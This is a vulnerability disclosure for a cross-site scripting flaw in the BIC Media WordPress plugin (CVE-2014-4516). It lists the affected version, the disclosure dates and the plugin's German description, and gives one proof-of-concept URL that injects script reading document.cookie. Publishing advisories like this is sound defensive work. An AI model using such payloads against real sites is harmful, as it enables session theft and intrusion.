wp-plugin : bic-media

Plugin Details
Plugin Name: wp-plugin : bic-media
Effected Version : 1 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

PoC:http://localhost/wordpress/wp-content/wp-plugs/bicmedia/bicm-carousel-preview.php?param=param%22%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&


Disclosure Timeline
Vendor Contacted : 2014-01-21
Plugin Status : Updated on
Public Disclosure : May 28, 2014
CVE Number : CVE-2014-4516
Plugin Description :
[| Das BIC Media Widget ist eine auf der Flash-Technologie basierende Komponente zur einfachen Integration der BIC Media Services in beliebigen Webseiten. Es können sowohl Bücher als auch Hörbücher eingebunden werden. Sollte zu einem gesuchten Begriff ein Hörbuch oder Buch verfügbar sein, wird dieses automatisch vom Widget angezeigt. Mehr Information zu BIC Media finden Sie unter [http://www.bic-media.com](http://www.bic-media.com) Mit Hilfe des Widgets können Lese- und Hörproben aus mehreren Tausend Büchern und Hörbuchern in das eigene Blog eingebaut werden. Mit einem ShortTag wie z.B. `[bic-media isbn="9783442310197"]` wird das Widget in einem Beitrag angezeigt. Alle nötigen Javascripts zur Anzeige des Widgets werden vom Plugin automatisch eingebunden. Im WordPress Editor gibt es nach der Installation des Plugins in der HTML Ansicht einen neuen Button "BIC Media Widget hinzufügen". Beim Klick auf den Button wird nur noch die ISBN-13 erwartet, die dann überprüft wird. Noch bequemer ist die Suche nach einem Buch über einen neuen "Media Button". Dieser ist allerdings nur sichtbar und nutzbar, wenn im Browser Javascript aktiviert ist. Oberhalb des Eingabefensters fügt das Plugin ein neues Buch-Icon "BIC Media Widget hinzufügen". Ein Klick darauf öffnet einen neuen Dialog, in dem komfortabel ein Buch ausgewählt und dann in den Editor übernommen werden kann. Es gibt zwei verschiedene Widgets: = Einzel Widget = Mit dem Einzel-Widget kann nur ein Buch oder Hörbuch dargestellt werden. Der ShortTag dafür lautet z.B. `[bic-media isbn="9783442310197" param="showTooltip=no"]` wobei 9783442310197 die gewünschte ISBN Nummer und showTooltip=no der gewünschte Parameterstring ist. Alle möglichen Konfigurationsparameter werden hier beschrieben: [http://www.bic-media.com/dmr/index.jsp?nav=widget&nav2=config](http://www.bic-media.com/dmr/index.jsp?nav=widget&nav2=config) = Karussell Widget = Ein Widget, mit dem mehrere Bücher oder Hörbücher gleichzeitig dargestellt werden können. Dazu kann man entweder eine Liste von ISBN Nummern eingeben oder mit Suchbegriffen eine Auswahl an Büchern zusammenstellen. Über Autor, Titel und Verlag können die Ergebnisse gefiltert werden. Die Darstellung kann über Breite, Höhe, Hintergrundfarbe, Breite der Buchcover und über die maximale Anzahl der dargestellten Bücher individuell angepasst werden. Der ShortTag für dieses Widget lautet z.B.: `[bic-carousel param="{'width':400, 'height':250, 'publisher':'Heyne Verlag','title':'skorpion','bgcolor':'#B92845', 'size':20, 'coverWidth':125}"]` wobei der Parameter param die Parameter enthält, die per Dialog ermittelt oder per Hand eingegeben werden können. Alle möglichen Konfigurationsparameter werden hier beschrieben: [http://www.bic-media.com/dmr/index.jsp?nav=widget&nav2=carouselConfig](http://www.bic-media.com/dmr/index.jsp?nav=widget&nav2=carouselConfig) ]